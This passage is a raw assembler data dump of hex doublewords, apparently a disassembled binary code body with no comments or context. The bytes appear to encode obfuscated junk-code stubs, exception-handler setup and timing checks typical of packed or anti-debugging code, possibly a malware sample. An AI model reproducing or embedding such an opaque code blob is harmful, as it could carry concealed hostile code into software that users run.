		dd 6D6E9796h, 0BD8355BAh, 5E72B8Dh, 0C2850F01h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0C6FCC356h, 1AF848FAh, 0B70FD0B0h, 6A026AF8h
		dd 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0E942C356h
		dd 0Ch,	0D9BFB729h, 2CD9968Bh, 4BFD51FCh, 9519589h, 0BB9005E7h
		dd 0D22321Eh, 11E950h, 6A50000h, 0AB5911FBh, 90B7E403h
		dd 0F6C7C938h, 9056D950h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 73C35545h, 0F25269C0h, 4399589h, 0BB6605E7h
		dd 95FF0476h, 5E71ABDh,	14E9h, 24A44B00h, 0B49F573Ch, 0AA1E2C6h
		dd 0CEDF62F5h, 41AE488h, 0DB4E997h, 0E80000h, 5D000000h
		dd 479AED81h, 31F505EBh, 0E72AA59Dh, 51006A05h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 81665AC8h
		dd 8B7458C7h, 0E723BDBDh, 0FD858D05h, 6A05EA90h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0D900C357h, 32F55A66h, 45A64512h, 0CCBF6690h, 899050A4h
		dd 0E71BB5B5h, 35FF6405h, 0
		dd 237D9D8Bh, 8D8905E7h, 5E70355h, 258964h, 0FC000000h
		dd 14FD85FFh, 665705E7h, 5BE0F8BBh, 0EE9FF6Ah, 81000000h
		dd 9BDDEB3h, 0BEBB3CE8h, 0CF2282CAh, 0F9B5FF04h, 8905E722h
		dd 0E720358Dh, 5195FF05h, 0E905E704h, 112h, 0AE19509h
		dd 0B005E7h, 1A458501h,	0E6F905E7h, 0F58D8970h,	0E405E70Bh
		dd 59D8B71h, 3C05E72Dh,	0EB830F61h, 89000000h, 0E70BA9B5h
		dd 51BB6605h, 0C8B60F51h, 4830Fh, 0B7570000h, 6BA5B72h
		dd 8B000000h, 0E715899Dh, 89C18B05h, 0E7056DBDh, 4E8C105h
		dd 0A63C9BFh, 0E2F7661Ch, 0FC82BF5h, 0D18BDEBFh, 0FE9h
		dd 26ACBA00h, 0D0A6928h, 0ED04C79h, 32AAB3ADh, 6E9h, 99D8B00h
		dd 8B05E716h, 0E7068185h, 0BE805h, 0E0920000h, 0AD1F1D8Ah
		dd 279CA73Ah, 799D8B91h, 5B05E71Ch, 8B07C083h, 0E721C5BDh
		dd 0C08305h, 11E8h, 109B9A00h, 0D89E2DEDh, 0C741BCD5h
		dd 0E76F3Eh, 0BF0F3723h, 0D03B5BFBh, 11830Fh, 0BD8B0000h
		dd 5E71875h, 39E9h, 419D2900h, 8B05E728h, 0E729798Dh, 0B5850105h
		dd 8305E705h, 840F01E1h, 1Eh, 0C45A66BBh, 79A58367h, 0FE05E729h
		dd 27799D8Bh, 958905E7h, 5E70681h, 0E9FCh, 0B58D0000h
		dd 5EAC6DEh, 6AE0B3h, 0E855006Ah, 3, 5DC35D20h,	4246C89h
		dd 4244481h, 16h, 9C35545h, 0CF81B74Fh,	1B512502h, 21C195FFh
		dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 33B43BC3h, 0E7005D9Dh, 0F57B905h,	6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0EBEB12C3h, 3547BB66h, 6AFCE183h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4EDAC350h
		dd 45873DAEh, 0E8ADEE19h, 10h, 0CDF2D875h, 1C30983Bh, 5136DC2Fh
		dd 580C3217h, 1BE5BD8Bh, 0FC5F05E7h, 0EE8h, 2009E500h
		dd 0C4F58A1h, 0EFA18127h, 9839791h, 0E72AF595h,	0B85B05h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 5671C351h, 0E9A7EB81h,	2B5B4C1Ch
		dd 50006AD2h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 21B58975h, 0AD05E716h, 0E8D1C233h, 0E983D003h
		dd 60F47504h, 1741858Bh, 8D8B05E7h, 5E70159h, 53006A61h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 5D9F3672h, 894AB9BBh, 0E7140995h, 880D05h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 66E6EC3h, 1AA9958Bh,	6A05E7h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 77383EC3h, 0BD8B179Ch
		dd 5E72891h, 2A4D8D8Bh,	6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 534381C3h, 8D8D291Fh
		dd 5005E732h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0CB78311Dh, 89FDC8ECh, 0E712D59Dh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0BD83E9DFh, 5E71865h, 53840F00h, 0B8000000h,	0
		dd 0B45EBF66h, 4D248D8Dh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0FE4ADC3h, 9D8BDAB7h
		dd 5E7077Dh, 11E9h, 599EBC00h, 0B3C6B7EAh, 3E092B15h, 2F34F7B9h
		dd 0E1FFC8A4h, 24B98589h, 0BD8305E7h, 5E72739h,	3D840F00h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0CFF5C355h, 0E41ABB66h, 2739BD83h
		dd 0F0105E7h, 42A84h, 0FABF0F00h, 2739BD83h, 0F0305E7h
		dd 3E486h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 7A226F13h, 38EF81BDh, 0F6DD731h
		dd 68Ah, 59858900h, 6005E709h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0DDC35545h,	1F8BD08Fh, 8C665F0Bh
		dd 52006AD9h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 1368CBEh, 8D295310h, 5E732F1h, 5704E180h
		dd 73F5BB66h, 0FC90A5Bh, 13F84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 6890F3Eh, 89000000h
		dd 0E715199Dh, 8BFE8B05h, 0E7069985h, 57006A05h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 81B57BE0h, 3EBBBC27h, 0BD0B29FBh, 5E721FDh, 0BA98529h
		dd 853305E7h, 5E71309h,	31E38166h, 0AE950AFh, 0C1000000h
		dd 0FAC9D53Fh, 0E96B26C1h, 24048955h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 4C35040h, 3E89D9EDh, 0CF81C639h
		dd 6C34483Dh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0AFCBA9C3h, 0DED20702h, 4D20C868h
		dd 0FA8B6638h, 37243481h, 8A385223h, 7195FFDDh,	6A05E71Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 8339C353h, 9E9h, 43EF0300h, 88D67061h, 0F98A369Ch
		dd 0A6468589h, 6A05EAh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 401AE8C3h, 4530B784h, 0E92A5D9Ch
		dd 1C0h, 0A63E858Bh, 0C705EAh, 18h, 2EE99D8Bh, 0B58B05E7h
		dd 5EAA642h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0EDC35040h, 72E55827h, 5E9A849h, 0B3000000h, 47A3DAAFh
		dd 858BDE8Bh, 5E73289h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 8C35343h, 0EF81669Ch,	0B70FB3F5h, 660689DAh
		dd 9FA9EB81h, 0EE8h, 51CA1700h,	9E5FD0C3h, 0E1C6D59Ah
		dd 51FE606Fh, 5B5B6160h, 699858Bh, 6A05E7h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 52D855C3h
		dd 9B31FECBh, 0CD952941h, 2305E71Bh, 0E72E9D9Dh, 4468905h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 73C35545h
		dd 0F88B6650h, 0F5243489h, 0A63EB5FFh, 8B6605EAh, 0DF4F68F9h
		dd 566050BCh, 5052505Bh, 5A310F52h, 66310F58h, 5ADCDDBEh
		dd 34816158h, 0A3DCB024h, 51006A50h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0AA62018h
		dd 2D08B6D4h, 0A646858Dh, 0BD8B05EAh, 5E71679h,	51525090h
		dd 0F5BD98Ah, 0F525031h, 5A5F5631h, 50585A58h, 5E8h, 0D50400h
		dd 6660ECC1h, 0E9C8E6BBh, 0Ch, 0DABE4B49h, 5E86400Ch, 5400A244h
		dd 6A905F61h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0E08FC355h, 0F58D31h, 95FF05E7h
		dd 5E71B71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	25C35141h, 0B1B58961h, 6605E727h, 0C7A38FBFh, 0E7273985h
		dd 305h, 0B7DDBB00h, 0BD835F3Ch, 5EAA646h, 2E840F00h, 81000000h
		dd 4AC72EE3h, 3EE97Ah, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 233D7DC3h, 0E70831BDh
		dd 0C305005h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0F3C35242h, 0FE9h, 89722500h, 0BDDEB381h, 0BB3CE809h
		dd 2282CABEh, 890Fh, 0BD830000h, 5E72739h, 19850F03h, 6A000004h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0AD45C352h, 632F89F8h, 983F4EEDh,	46BD83F5h
		dd 5EAA6h, 3E6840Fh, 0FFF90000h, 0EAA646B5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0FC9F0B8h, 17BF15DFh, 0FFF88B66h, 0E7021995h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0F08318A6h, 3AB58BAAh, 8105EAA6h, 8607D0CBh,	106C749h
		dd 81000100h, 0FCFA0EDFh, 8B669663h, 0DE850D8h,	7F000000h
		dd 0EDCD644Bh, 0B5660A08h, 4770F80Eh, 507ABF66h, 0CF80965Bh
		dd 46B5FF2Ch, 6A05EAA6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 7732C350h, 21F919B6h
		dd 0DE8B66E5h, 14F1BD8Bh, 95FF05E7h, 5E70031h, 0A5B7EB81h
		dd 9D8B464Ah, 5E70415h,	0A63AB58Bh, 6A05EAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0B9E26EC3h
		dd 0C0C9CB43h, 840F896Fh, 14h, 0E800Fh,	9E90000h, 31000000h
		dd 0D42C71h, 0A527F096h, 187D858Bh, 0BD8905E7h,	5E70175h
		dd 0C48689h, 9D8B0000h,	5E709F5h, 1AA9958Bh, 6A05E7h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0B422D9C3h, 89569FFBh, 0E71791BDh, 0C2835F05h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 3617418h, 7F5CF89Ah,	9D8BD1BFh, 5E72E51h, 1205089h
		dd 0E70BF185h, 0C3858D05h, 8B05EABAh, 0B88689D9h, 0E8000000h
		dd 14h,	988BFBD0h, 0CCA68A0h, 0FB044ED0h, 0EE84894Fh, 72C64472h
		dd 5FBBCB80h, 0BB56006Ah, 7FAEBDC5h, 160605Bh, 0E71335B5h
		dd 0B5853105h, 6105E71Bh, 0B5FF61F8h, 5EAA646h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 12C35545h, 36434EE9h
		dd 95FFDE6Eh, 5E71ABDh,	2A98BF66h, 60525096h, 860Fh, 0CB8B0000h
		dd 5A310F61h, 57505058h, 6A965B5Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0ED7CC356h
		dd 8B6644E1h, 46B5FFD8h, 8B05EAA6h, 0E713659Dh,	7995FF05h
		dd 6605E707h, 0CA17D381h, 33A9BF66h, 2D0DBD83h,	0F0005E7h
		dd 5D84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 23AC8D2Ch, 8919EAC3h, 0E713BD85h
		dd 8C0F5005h, 2, 348902B3h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0D120993Dh
		dd 0B6C9390Bh, 0DF8166EBh, 0B5FF16D8h, 5EAA646h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4BC35747h, 66FE8B66h
		dd 50B4CABFh, 0B21BD2Bh, 0FF5F05E7h, 0E7243595h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 5820F34h, 66000000h,	3EB3C781h, 0A646B5FFh, 9D8B05EAh
		dd 5E70AE9h, 76D95FFh, 6A05E7h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0BD8BF4C3h, 5E7057Dh
		dd 2D85BD83h, 0F0205E7h, 5C84h,	8B2BB700h, 0E7118585h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0ED21F1AAh, 92731CB4h, 0C6EBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0ABC35545h, 0C2B3C5FFh
		dd 36615198h, 8589520Ch, 5E70241h, 1985C75Bh, 5E723h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0FF5C356h, 0FFF343E9h, 50006AFFh,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 6F82B9C3h
		dd 0FD11A7Bh, 582h, 0C737BB00h,	0DF8178E0h, 1B04E8BBh
		dd 6AC18Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BD2948C3h, 5E70109h, 2D01BD89h, 858D05E7h
		dd 5E71395h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0FC35545h, 0BF519063h, 4BAD18B0h, 8B52505Fh, 2B905FDEh
		dd 0E72C69BDh, 8B006A05h, 0E71B3D9Dh, 6A006A05h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 9175C357h, 2E850BFDh, 0DF8B661Bh, 571F858Dh,	6A05EBh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 245F6C3h, 98C502B5h,	0DFD78166h, 5C083F9h, 6830Fh, 85890000h
		dd 5E713DDh, 10BF6650h,	24048988h, 6E9h, 0F9104700h, 6AF7369Ah
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 6A3A2D71h, 0F668BB00h, 95FF6F5Ch, 5E71A4Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0EDC35040h
		dd 255699Dh, 8B565A25h,	8D8D5BFAh, 5EAA4AAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FEC35545h, 9DBC3119h
		dd 8BCEB762h, 6AD1FFDFh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 3F8AC357h, 0F5A73E4h
		dd 685h, 1D8D8900h, 8305E71Bh, 0E72B8DBDh, 850F0105h, 68h
		dd 2B09BD8Bh, 26A05E7h,	0F78B6660h, 8B665061h, 240489DFh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7EC35545h
		dd 0A795C45Dh, 0F6115A1h, 9D03DFBFh, 5E72F21h, 1ABD95FFh
		dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 5C2761C3h, 3D28CA9Ch, 0DF0E9h, 0E800h, 815D0000h
		dd 0EB5729EDh, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 8B8A5E14h, 858D62B3h
		dd 5EA90FDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0C6C35040h, 810F507Dh, 4, 0B440BB66h, 6A240489h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0BCB9C353h, 898531h, 816605E7h, 640F56E3h
		dd 35FFh, 0C7B30000h, 258964h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0C88BC352h
		dd 0E2C35B52h, 820FA4BCh, 6, 9299D8Bh, 85FF05E7h, 5E714FDh
		dd 5CDB8166h, 8BFF6A7Bh, 0E73319BDh, 39B5FF05h,	2305E716h
		dd 0E72039BDh, 5195FF05h, 0E905E704h, 131h, 21919589h
		dd 0B005E7h, 2549BD29h,	70E605E7h, 9D3371E4h, 5E72EC5h
		dd 830F613Ch, 111h, 0DED78166h,	0C8B60FAEh, 0BADBB70Fh
		dd 6, 12E953h, 3A8B0000h, 0FEE7FD95h, 0CF2DC435h, 7F248539h
		dd 503BC5B7h, 0BBC18B5Bh, 283FC87Eh, 8E0Fh, 0E8C10000h
		dd 71B58904h, 6605E715h, 0C781E2F7h, 2EC18708h,	0B589C82Bh
		dd 5E72579h, 0B70FD18Bh, 12E9FAh, 0E9600000h, 6, 8176B48Fh
		dd 8166F362h, 61E5B5F3h, 1C11858Bh, 0BD8B05E7h,	5E7221Dh
		dd 6607C083h, 0C083DF8Bh, 830F5300h, 6,	8E0Fh, 3B5F0000h
		dd 22830FD0h, 89000000h, 0E717399Dh, 6FE905h, 0E9500000h
		dd 0Ah,	0FB772D9Ch, 0CCE96070h,	895F4A72h, 0E7150185h
		dd 0A58D8B05h, 8305E71Bh, 840F01E1h, 49h, 83FCF780h, 0E71BA5A5h
		dd 14E9FE05h, 0FB000000h, 0E6E65F68h, 8ABBF8CFh, 0B4037BE6h
		dd 71AE3ADAh, 8914CEB3h, 0E71C1195h, 8E96005h, 1C000000h
		dd 0A86B1790h, 8B239EC6h, 0E71FED85h, 0BD236105h, 5E72999h
		dd 0E9h, 0F3B58D00h, 6A05EAD7h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0A5D3C352h,	5745BBB3h
		dd 6A4242h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 19h,	77C35747h, 3B556841h, 0C195FFC0h, 6605E721h, 5B9F88Bh
		dd 6A00000Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 3CC9C355h, 0A03518Ah, 0E183F98Bh
		dd 0A9BD8BFCh, 0FC05E711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 2AC35343h, 0DE9A9108h, 0B248E4C6h, 0B8h
		dd 0A9858900h, 6605E722h, 0D22BFB8Bh, 40D8589h,	33AD05E7h
		dd 3E8D1C2h, 4E983D0h, 8166F475h, 0FDAB7D7h, 681h, 0D1BD8B00h
		dd 0D05E71Ch, 88h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 50C35747h, 0A0C4430h,	666C6872h, 8B8A50BBh
		dd 0E71AA995h, 0CE805h,	0B8E70000h, 0F016F08h, 9FC65BA7h
		dd 0BF0F12EDh, 9D295FD8h, 5E70335h, 2A4D8D8Bh, 50F805E7h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	2DBD8958h
		dd 8905E719h, 0E719A58Dh, 65BD8305h, 5E718h, 9F840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 7645E2C3h, 0BF663CB0h, 0B88FFFh, 8B000000h, 0E7004D9Dh
		dd 0AE805h, 3D690000h, 869E628h, 7C0449E6h, 2C79BD2Bh
		dd 8D5F05E7h, 0E74D248Dh, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 81356821h
		dd 76D418EBh, 3DB58932h, 0FF05E727h, 57006AE1h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0B0467390h
		dd 89206D6Ch, 0E7181995h, 39BD8305h, 5E727h, 4FB840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0F487F6C3h, 0BD83F98Bh, 5E72739h,	0E9840F01h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 71EDC353h, 830A3F30h, 83C00A6Ah
		dd 0E72739BDh, 860F0305h, 482h,	0E850006Ah, 3, 58C35820h
		dd 4244489h
		dd 4244481h, 15h, 56C35040h, 89BD8B20h,	8B05E720h, 0E712999Dh
		dd 890F6005h, 6, 22D58D09h, 8C6605E7h, 0A75BBBD9h, 0E1804C11h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 9B7EB3A1h, 146F55F4h, 0C90A5750h, 150840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 23FC08C3h, 0E70BF59Dh, 99858B05h,	8105E706h
		dd 70215BCBh, 985333Ah,	0B305E713h, 1810F05h, 0FC000000h
		dd 66525050h, 310FDE8Bh, 0AE8h,	0D9F92100h, 0AA246ABDh
		dd 0BF7B447Dh, 1519E179h, 89585A5Bh, 89522404h,	0E71B2DB5h
		dd 13E85F05h, 98000000h, 61455FDDh, 0A8371362h,	0E1DF7B52h
		dd 0C7748646h, 9D8B727Bh, 5E71C19h, 66006A5Bh, 4D68FB8Bh
		dd 0E93C7604h, 8, 0E4345E36h, 602ADE16h, 0B2243481h, 6A3C6907h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 3735C353h, 0B70FFF2Ah, 7195FFDBh,	6A05E71Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 95E4C356h, 2337C447h, 9D29901Ch, 5E7251Dh
		dd 0A6468589h, 6A05EAh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 48896BC3h, 6820Fh, 0BD8B0000h, 5E71B3Dh
		dd 261E9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1704h, 0C3504000h, 18A43F4Ah, 20A19D8Bh, 858B05E7h
		dd 5EAA63Eh, 0A16AC781h, 0C70523h, 18h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 0C4C35747h, 0A642B58Bh
		dd 9D8B05EAh, 5E732CDh,	3289858Bh, 6A05E7h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 13E9F4C3h
		dd 0D1000000h, 46A8EB59h, 58A26CEFh, 74682A16h,	5BC362B1h
		dd 81660832h, 892DA4F3h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0FDFA98Ch, 9D8B7095h
		dd 5E71835h, 699858Bh, 6A05E7h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0EA742BC3h, 0A9B9A8C4h
		dd 0BB66FF82h, 468945B7h, 0F5BD8B04h, 9605E70Ah, 310F5250h
		dd 6650585Ah, 6A96FE8Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0C697C350h,	7C51B13h
		dd 0E8920EAFh, 5, 68AD3531h, 0FE8B6691h, 3EB5FF5Bh, 0E805EAA6h
		dd 0Eh,	201B8E6h, 0A6122D19h, 0DC176B94h, 950910DEh, 5E72579h
		dd 3820F5Bh, 66000000h,	4E8DA8Bh, 0FF000000h, 0BB001F03h
		dd 9B6041Ch, 8B525050h,	0E8310FFBh, 13h, 7FC1AACh, 0DB6FE2FCh
		dd 0DADDB5FFh, 0CFB8B469h, 0E886AC9Ah, 8, 0F1EA4BE5h, 0B6785661h
		dd 585A5B5Bh, 424448Bh,	0BB665250h, 310F0561h, 0AE9h, 3CF4B400h
		dd 72066A87h, 5A6ECF2Ch, 89008B58h, 0E8042444h,	10h, 0CF9E3AAAh
		dd 0AD4039A0h, 13571085h, 1F7E4FDAh, 15C9BB66h,	6A585Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0C4CFE2C3h, 0DB40177Fh, 0E381748Eh, 6CE1873Ch, 6A7CD381h
		dd 858D1112h, 5EAA646h,	8BF9B70Fh, 0E7253D9Dh, 51515005h
		dd 0B6F2F0BBh, 895F5B45h, 0BD892404h, 5E707E9h,	1B7195FFh
		dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0DF4D3C3h, 2BCE8AB3h, 0E70B199Dh,	6061FC05h
		dd 6850Fh, 950B0000h, 5E72C71h,	3985C761h, 305E727h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C482C352h, 6A126980h, 46BD8363h,	5EAA6h
		dd 40840Fh, 860F0000h, 6, 13799D8Bh, 4AE905E7h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0F2E8C351h, 6E8h,	3154ED00h, 8B663711h, 0E72F51BDh
		dd 30505B05h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 80BB3E7Bh, 92639E86h, 0BD8BA4BBh
		dd 5E70A21h, 2B25BD0Bh,	0BD8305E7h, 5E72739h, 1C850F03h
		dd 6A000004h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 1F78C351h, 2B4B041Eh, 6883D037h
		dd 6D5BD89h, 13B705E7h,	0A646BD83h, 0F0005EAh, 3E284h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 24E06C55h, 0A7EFC728h, 11898D89h, 0B5FF05E7h
		dd 5EAA646h, 58DBD8Bh, 0AEBF05E7h, 0FF1A87B0h, 0E7021995h
		dd 3AB58B05h, 6A05EAA6h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 17C1C355h, 6C7A1A2h
		dd 10001h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0F3C35646h, 3BB7F581h, 2A9CBC7Ah, 0D98B66D6h, 0FE996h
		dd 2CF80000h, 0C323AC8Dh, 2DC519EAh, 65D5B306h,	7CB350BCh
		dd 8CE6BB96h, 0B5FF31B9h, 5EAA646h, 0FFF98B66h,	0E7003195h
		dd 3AB58B05h, 6A05EAA6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 63D1C350h, 0B69423EFh
		dd 311317C8h, 0E729D19Dh, 7D858B05h, 2B05E718h,	0E724999Dh
		dd 0C4868905h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 307CC355h, 570522D0h
		dd 2FD9D31h, 8B5F05E7h,	0E71AA995h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0B59D8BE3h
		dd 8305E729h, 0E38004C2h, 89DE8ADBh, 858D2050h,	5EABAC3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FFC35242h
		dd 0C146E21Dh, 0E980DA7Ah, 11h,	73FFA96Ch, 0F5786B87h
		dd 0A53E5D48h, 634F75B0h, 0B88689CDh, 0F5000000h, 0B5FF006Ah
